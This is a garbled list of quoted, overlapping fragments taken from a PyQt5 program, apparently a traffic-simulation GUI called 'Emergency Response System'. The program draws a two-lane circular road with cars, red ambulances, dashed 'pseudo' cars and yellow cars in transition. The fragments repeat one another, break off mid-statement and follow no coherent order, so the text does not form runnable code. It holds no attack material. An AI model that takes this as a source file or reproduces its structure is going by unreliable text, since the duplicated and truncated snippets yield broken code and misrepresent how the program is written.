"QApplication,QMainWindow, QWidget, QPushButton from PyQt5.QtGui import QPainter,QBrush, QPen from PyQt5.QtCore import Qt from",
"about x axis to make positive y cooredinates above x axis painter.setTransform(reflecting_axis) painter.setPen(QPen(Qt.black,1,Qt.SolidLine))",
"in CarMaintainer.Outer_Car_List: if a_car.IS_AMBULANCE == False : painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber))",
"#draw constuction line on outer lane painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) # painter.drawEllipse(QPointF(100,0),5,5) # painter.drawEllipse(QPointF(-100,0),5,5) #",
"painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setPen(QPen(Qt.red,1,Qt.DashLine)) #new paint settings for Psuedo car painter.setBrush(QBrush(Qt.gray,Qt.NoBrush)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setPen(QPen(Qt.black,2,Qt.SolidLine))",
"self.setWindowTitle(self.title) self.setGeometry(self.top,self.left,self.width,self.height) self.show() def on_click(self): Window.STATE_OF_EMERGENCY=1 def paintEvent(self, e): painter= QPainter(self) reflecting_axis= QTransform(1,0,0,0,-1,0,250,250,1)",
"self.setGeometry(self.top,self.left,self.width,self.height) self.show() def on_click(self): Window.STATE_OF_EMERGENCY=1 def paintEvent(self, e): painter= QPainter(self) reflecting_axis= QTransform(1,0,0,0,-1,0,250,250,1) #translating",
"painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.Outer_Car_List: if a_car.IS_AMBULANCE == False : painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else:",
"== False : painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in",
"on inner lane painter.drawEllipse(QPointF(0,0),200,200) #draw constuction line on outer lane painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) #",
"False : painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.In_Transition_List:",
"def paintEvent(self, e): painter= QPainter(self) reflecting_axis= QTransform(1,0,0,0,-1,0,250,250,1) #translating the coordinate system to the",
"reflecting_axis= QTransform(1,0,0,0,-1,0,250,250,1) #translating the coordinate system to the middle of the screen and",
"import QPainter,QBrush, QPen from PyQt5.QtCore import Qt from PyQt5.QtCore import QTimer from PyQt5.QtGui",
"# ------------------------------------------------------------------------------------------------------------- # Drawing lanes is complete. Now drawing cars painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) counter=1 for",
"QPushButton('button', self) #button.move(0,0) #button.clicked.connect(self.on_click) CarMaintainer() Algorithm() self.InitWindow() def InitWindow(self): self.setWindowIcon(QtGui.QIcon('icon.png')) self.setWindowTitle(self.title) self.setGeometry(self.top,self.left,self.width,self.height) self.show()",
"painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) painter.setBrush(QBrush(Qt.black,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),50,50) #black centre # ------------------------------------------------------------------------------------------------------------- # Drawing lanes is complete. Now",
"painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) # restore paint settings after drawing a psuedo car painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for",
"QPainter,QBrush, QPen from PyQt5.QtCore import Qt from PyQt5.QtCore import QTimer from PyQt5.QtGui import",
"painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.In_Transition_List: painter.setBrush(QBrush(Qt.yellow,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.green,Qt.NoBrush))",
"axis painter.setTransform(reflecting_axis) painter.setPen(QPen(Qt.black,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),250,250) #draw outer lane painter.setPen(QPen(Qt.yellow,5,Qt.DashLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),150,150) #draw inner",
"painter.drawEllipse(QPointF(0,0),150,150) #draw inner lane painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) painter.setBrush(QBrush(Qt.black,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),50,50) #black centre # ------------------------------------------------------------------------------------------------------------- # Drawing",
"QWidget, QPushButton from PyQt5.QtGui import QPainter,QBrush, QPen from PyQt5.QtCore import Qt from PyQt5.QtCore",
"axis to make positive y cooredinates above x axis painter.setTransform(reflecting_axis) painter.setPen(QPen(Qt.black,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),250,250)",
"else: painter.drawEllipse(QPointF(point[0], point[1]),5,5) counter=1 for a_car in CarMaintainer.Inner_Car_List: if a_car.PSUEDO_CAR==False: painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else:",
"self.setWindowIcon(QtGui.QIcon('icon.png')) self.setWindowTitle(self.title) self.setGeometry(self.top,self.left,self.width,self.height) self.show() def on_click(self): Window.STATE_OF_EMERGENCY=1 def paintEvent(self, e): painter= QPainter(self) reflecting_axis=",
"painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.In_Transition_List: painter.setBrush(QBrush(Qt.yellow,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) painter.setPen(QPen(Qt.red,1,Qt.SolidLine))",
"painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.green,Qt.NoBrush)) painter.drawEllipse(QPointF(0,0),100,100) #draw constuction line on inner lane painter.drawEllipse(QPointF(0,0),200,200) #draw constuction line",
"is complete. Now drawing cars painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) counter=1 for point in Algorithm.run_algorithm(Window.STATE_OF_EMERGENCY): if counter==1:",
"lane painter.drawEllipse(QPointF(0,0),200,200) #draw constuction line on outer lane painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) # painter.drawEllipse(QPointF(100,0),5,5) #",
"Algorithm class Window(QMainWindow): STATE_OF_EMERGENCY=1 def __init__(self): super().__init__() timer = QTimer(self) timer.setInterval(20) # interval",
"from Algorithm import Algorithm class Window(QMainWindow): STATE_OF_EMERGENCY=1 def __init__(self): super().__init__() timer = QTimer(self)",
"painter.drawEllipse(QPointF(0,0),200,200) #draw constuction line on outer lane painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) # painter.drawEllipse(QPointF(100,0),5,5) # painter.drawEllipse(QPointF(-100,0),5,5)",
"else: painter.setPen(QPen(Qt.red,1,Qt.DashLine)) #new paint settings for Psuedo car painter.setBrush(QBrush(Qt.gray,Qt.NoBrush)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) #",
"import CarMaintainer from Algorithm import Algorithm class Window(QMainWindow): STATE_OF_EMERGENCY=1 def __init__(self): super().__init__() timer",
"Drawing lanes is complete. Now drawing cars painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) counter=1 for point in Algorithm.run_algorithm(Window.STATE_OF_EMERGENCY):",
"CarMaintainer import CarMaintainer from Algorithm import Algorithm class Window(QMainWindow): STATE_OF_EMERGENCY=1 def __init__(self): super().__init__()",
"it about x axis to make positive y cooredinates above x axis painter.setTransform(reflecting_axis)",
"to make positive y cooredinates above x axis painter.setTransform(reflecting_axis) painter.setPen(QPen(Qt.black,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),250,250) #draw",
"painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) # restore paint settings after drawing a psuedo car painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car",
"e): painter= QPainter(self) reflecting_axis= QTransform(1,0,0,0,-1,0,250,250,1) #translating the coordinate system to the middle of",
"middle of the screen and reflecting it about x axis to make positive",
"y cooredinates above x axis painter.setTransform(reflecting_axis) painter.setPen(QPen(Qt.black,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),250,250) #draw outer lane painter.setPen(QPen(Qt.yellow,5,Qt.DashLine))",
"timer.setInterval(20) # interval in ms timer.timeout.connect(self.update) timer.start(0) self.title= \"Emergency Response System\" self.top=100 self.left=100",
"if a_car.PSUEDO_CAR==False: painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setPen(QPen(Qt.red,1,Qt.DashLine)) #new paint settings for Psuedo car painter.setBrush(QBrush(Qt.gray,Qt.NoBrush))",
"self.top=100 self.left=100 self.width=500 self.height=500 #button = QPushButton('button', self) #button.move(0,0) #button.clicked.connect(self.on_click) CarMaintainer() Algorithm() self.InitWindow()",
"point in Algorithm.run_algorithm(Window.STATE_OF_EMERGENCY): if counter==1: painter.drawEllipse(QPointF(point[0], point[1]),10,10) counter=-1 else: painter.drawEllipse(QPointF(point[0], point[1]),5,5) counter=1 for",
"Window.STATE_OF_EMERGENCY=1 def paintEvent(self, e): painter= QPainter(self) reflecting_axis= QTransform(1,0,0,0,-1,0,250,250,1) #translating the coordinate system to",
"QTimer(self) timer.setInterval(20) # interval in ms timer.timeout.connect(self.update) timer.start(0) self.title= \"Emergency Response System\" self.top=100",
"PyQt5.QtGui import QPainter,QBrush, QPen from PyQt5.QtCore import Qt from PyQt5.QtCore import QTimer from",
"and reflecting it about x axis to make positive y cooredinates above x",
"inner lane painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) painter.setBrush(QBrush(Qt.black,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),50,50) #black centre # ------------------------------------------------------------------------------------------------------------- # Drawing lanes is",
"QTransform(1,0,0,0,-1,0,250,250,1) #translating the coordinate system to the middle of the screen and reflecting",
"PyQt5.QtCore import Qt from PyQt5.QtCore import QTimer from PyQt5.QtGui import QTransform from PyQt5.QtCore",
"counter==1: painter.drawEllipse(QPointF(point[0], point[1]),10,10) counter=-1 else: painter.drawEllipse(QPointF(point[0], point[1]),5,5) counter=1 for a_car in CarMaintainer.Inner_Car_List: if",
"painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.green,Qt.NoBrush)) painter.drawEllipse(QPointF(0,0),100,100) #draw constuction line on inner lane painter.drawEllipse(QPointF(0,0),200,200) #draw constuction",
"from CarMaintainer import CarMaintainer from Algorithm import Algorithm class Window(QMainWindow): STATE_OF_EMERGENCY=1 def __init__(self):",
"lane painter.setPen(QPen(Qt.yellow,5,Qt.DashLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),150,150) #draw inner lane painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) painter.setBrush(QBrush(Qt.black,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),50,50) #black centre #",
"above x axis painter.setTransform(reflecting_axis) painter.setPen(QPen(Qt.black,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),250,250) #draw outer lane painter.setPen(QPen(Qt.yellow,5,Qt.DashLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),150,150)",
"CarMaintainer.Outer_Car_List: if a_car.IS_AMBULANCE == False : painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern))",
"painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.In_Transition_List: painter.setBrush(QBrush(Qt.yellow,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber))",
"= QTimer(self) timer.setInterval(20) # interval in ms timer.timeout.connect(self.update) timer.start(0) self.title= \"Emergency Response System\"",
"painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.green,Qt.NoBrush)) painter.drawEllipse(QPointF(0,0),100,100) #draw constuction line on inner lane painter.drawEllipse(QPointF(0,0),200,200) #draw",
"else: painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.In_Transition_List: painter.setBrush(QBrush(Qt.yellow,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern))",
"a_car in CarMaintainer.Inner_Car_List: if a_car.PSUEDO_CAR==False: painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setPen(QPen(Qt.red,1,Qt.DashLine)) #new paint settings for",
"QPushButton from PyQt5.QtGui import QPainter,QBrush, QPen from PyQt5.QtCore import Qt from PyQt5.QtCore import",
"coordinate system to the middle of the screen and reflecting it about x",
"car painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.Outer_Car_List: if a_car.IS_AMBULANCE == False : painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber))",
"#button.move(0,0) #button.clicked.connect(self.on_click) CarMaintainer() Algorithm() self.InitWindow() def InitWindow(self): self.setWindowIcon(QtGui.QIcon('icon.png')) self.setWindowTitle(self.title) self.setGeometry(self.top,self.left,self.width,self.height) self.show() def on_click(self):",
"System\" self.top=100 self.left=100 self.width=500 self.height=500 #button = QPushButton('button', self) #button.move(0,0) #button.clicked.connect(self.on_click) CarMaintainer() Algorithm()",
"from PyQt5 import QtGui from PyQt5.QtWidgets import QApplication,QMainWindow, QWidget, QPushButton from PyQt5.QtGui import",
"self.InitWindow() def InitWindow(self): self.setWindowIcon(QtGui.QIcon('icon.png')) self.setWindowTitle(self.title) self.setGeometry(self.top,self.left,self.width,self.height) self.show() def on_click(self): Window.STATE_OF_EMERGENCY=1 def paintEvent(self, e):",
"------------------------------------------------------------------------------------------------------------- # Drawing lanes is complete. Now drawing cars painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) counter=1 for point",
"QPointF from CarMaintainer import CarMaintainer from Algorithm import Algorithm class Window(QMainWindow): STATE_OF_EMERGENCY=1 def",
"the coordinate system to the middle of the screen and reflecting it about",
"point[1]),10,10) counter=-1 else: painter.drawEllipse(QPointF(point[0], point[1]),5,5) counter=1 for a_car in CarMaintainer.Inner_Car_List: if a_car.PSUEDO_CAR==False: painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS)",
"x axis painter.setTransform(reflecting_axis) painter.setPen(QPen(Qt.black,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),250,250) #draw outer lane painter.setPen(QPen(Qt.yellow,5,Qt.DashLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),150,150) #draw",
"Algorithm import Algorithm class Window(QMainWindow): STATE_OF_EMERGENCY=1 def __init__(self): super().__init__() timer = QTimer(self) timer.setInterval(20)",
"paint settings after drawing a psuedo car painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.Outer_Car_List: if",
"Now drawing cars painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) counter=1 for point in Algorithm.run_algorithm(Window.STATE_OF_EMERGENCY): if counter==1: painter.drawEllipse(QPointF(point[0], point[1]),10,10)",
"after drawing a psuedo car painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.Outer_Car_List: if a_car.IS_AMBULANCE ==",
"a_car in CarMaintainer.In_Transition_List: painter.setBrush(QBrush(Qt.yellow,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.green,Qt.NoBrush)) painter.drawEllipse(QPointF(0,0),100,100) #draw constuction line",
"def __init__(self): super().__init__() timer = QTimer(self) timer.setInterval(20) # interval in ms timer.timeout.connect(self.update) timer.start(0)",
"Algorithm() self.InitWindow() def InitWindow(self): self.setWindowIcon(QtGui.QIcon('icon.png')) self.setWindowTitle(self.title) self.setGeometry(self.top,self.left,self.width,self.height) self.show() def on_click(self): Window.STATE_OF_EMERGENCY=1 def paintEvent(self,",
"PyQt5.QtCore import QTimer from PyQt5.QtGui import QTransform from PyQt5.QtCore import QPointF from CarMaintainer",
"# interval in ms timer.timeout.connect(self.update) timer.start(0) self.title= \"Emergency Response System\" self.top=100 self.left=100 self.width=500",
"painter.setTransform(reflecting_axis) painter.setPen(QPen(Qt.black,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),250,250) #draw outer lane painter.setPen(QPen(Qt.yellow,5,Qt.DashLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),150,150) #draw inner lane",
"import Algorithm class Window(QMainWindow): STATE_OF_EMERGENCY=1 def __init__(self): super().__init__() timer = QTimer(self) timer.setInterval(20) #",
"point[1]),5,5) counter=1 for a_car in CarMaintainer.Inner_Car_List: if a_car.PSUEDO_CAR==False: painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setPen(QPen(Qt.red,1,Qt.DashLine)) #new",
"for point in Algorithm.run_algorithm(Window.STATE_OF_EMERGENCY): if counter==1: painter.drawEllipse(QPointF(point[0], point[1]),10,10) counter=-1 else: painter.drawEllipse(QPointF(point[0], point[1]),5,5) counter=1",
"a_car in CarMaintainer.Outer_Car_List: if a_car.IS_AMBULANCE == False : painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS)",
"interval in ms timer.timeout.connect(self.update) timer.start(0) self.title= \"Emergency Response System\" self.top=100 self.left=100 self.width=500 self.height=500",
"PyQt5.QtCore import QPointF from CarMaintainer import CarMaintainer from Algorithm import Algorithm class Window(QMainWindow):",
"x axis to make positive y cooredinates above x axis painter.setTransform(reflecting_axis) painter.setPen(QPen(Qt.black,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern))",
"for a_car in CarMaintainer.Inner_Car_List: if a_car.PSUEDO_CAR==False: painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setPen(QPen(Qt.red,1,Qt.DashLine)) #new paint settings",
"CarMaintainer.Inner_Car_List: if a_car.PSUEDO_CAR==False: painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setPen(QPen(Qt.red,1,Qt.DashLine)) #new paint settings for Psuedo car",
"painter.drawEllipse(QPointF(0,0),100,100) #draw constuction line on inner lane painter.drawEllipse(QPointF(0,0),200,200) #draw constuction line on outer",
"the screen and reflecting it about x axis to make positive y cooredinates",
"super().__init__() timer = QTimer(self) timer.setInterval(20) # interval in ms timer.timeout.connect(self.update) timer.start(0) self.title= \"Emergency",
"centre # ------------------------------------------------------------------------------------------------------------- # Drawing lanes is complete. Now drawing cars painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) counter=1",
"self.width=500 self.height=500 #button = QPushButton('button', self) #button.move(0,0) #button.clicked.connect(self.on_click) CarMaintainer() Algorithm() self.InitWindow() def InitWindow(self):",
"paintEvent(self, e): painter= QPainter(self) reflecting_axis= QTransform(1,0,0,0,-1,0,250,250,1) #translating the coordinate system to the middle",
"painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.In_Transition_List: painter.setBrush(QBrush(Qt.yellow,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.green,Qt.NoBrush)) painter.drawEllipse(QPointF(0,0),100,100)",
"for a_car in CarMaintainer.In_Transition_List: painter.setBrush(QBrush(Qt.yellow,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.green,Qt.NoBrush)) painter.drawEllipse(QPointF(0,0),100,100) #draw constuction",
"painter.drawEllipse(QPointF(0,0),250,250) #draw outer lane painter.setPen(QPen(Qt.yellow,5,Qt.DashLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),150,150) #draw inner lane painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) painter.setBrush(QBrush(Qt.black,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),50,50)",
"painter.setBrush(QBrush(Qt.yellow,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.green,Qt.NoBrush)) painter.drawEllipse(QPointF(0,0),100,100) #draw constuction line on inner lane",
"cooredinates above x axis painter.setTransform(reflecting_axis) painter.setPen(QPen(Qt.black,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),250,250) #draw outer lane painter.setPen(QPen(Qt.yellow,5,Qt.DashLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern))",
"# Drawing lanes is complete. Now drawing cars painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) counter=1 for point in",
"inner lane painter.drawEllipse(QPointF(0,0),200,200) #draw constuction line on outer lane painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) # painter.drawEllipse(QPointF(100,0),5,5)",
"__init__(self): super().__init__() timer = QTimer(self) timer.setInterval(20) # interval in ms timer.timeout.connect(self.update) timer.start(0) self.title=",
"positive y cooredinates above x axis painter.setTransform(reflecting_axis) painter.setPen(QPen(Qt.black,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),250,250) #draw outer lane",
"in CarMaintainer.Inner_Car_List: if a_car.PSUEDO_CAR==False: painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setPen(QPen(Qt.red,1,Qt.DashLine)) #new paint settings for Psuedo",
"import QTransform from PyQt5.QtCore import QPointF from CarMaintainer import CarMaintainer from Algorithm import",
"for a_car in CarMaintainer.Outer_Car_List: if a_car.IS_AMBULANCE == False : painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setBrush(QBrush(Qt.red,Qt.SolidPattern))",
"painter.drawEllipse(QPointF(0,0),50,50) #black centre # ------------------------------------------------------------------------------------------------------------- # Drawing lanes is complete. Now drawing cars",
"\"Emergency Response System\" self.top=100 self.left=100 self.width=500 self.height=500 #button = QPushButton('button', self) #button.move(0,0) #button.clicked.connect(self.on_click)",
"line on outer lane painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) # painter.drawEllipse(QPointF(100,0),5,5) # painter.drawEllipse(QPointF(-100,0),5,5) # painter.drawEllipse(QPointF(0,-100),5,5) painter.drawEllipse(QPointF(0,0),10,10)",
"settings after drawing a psuedo car painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.Outer_Car_List: if a_car.IS_AMBULANCE",
"painter= QPainter(self) reflecting_axis= QTransform(1,0,0,0,-1,0,250,250,1) #translating the coordinate system to the middle of the",
"painter.setPen(QPen(Qt.black,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),250,250) #draw outer lane painter.setPen(QPen(Qt.yellow,5,Qt.DashLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),150,150) #draw inner lane painter.setPen(QPen(Qt.black,2,Qt.SolidLine))",
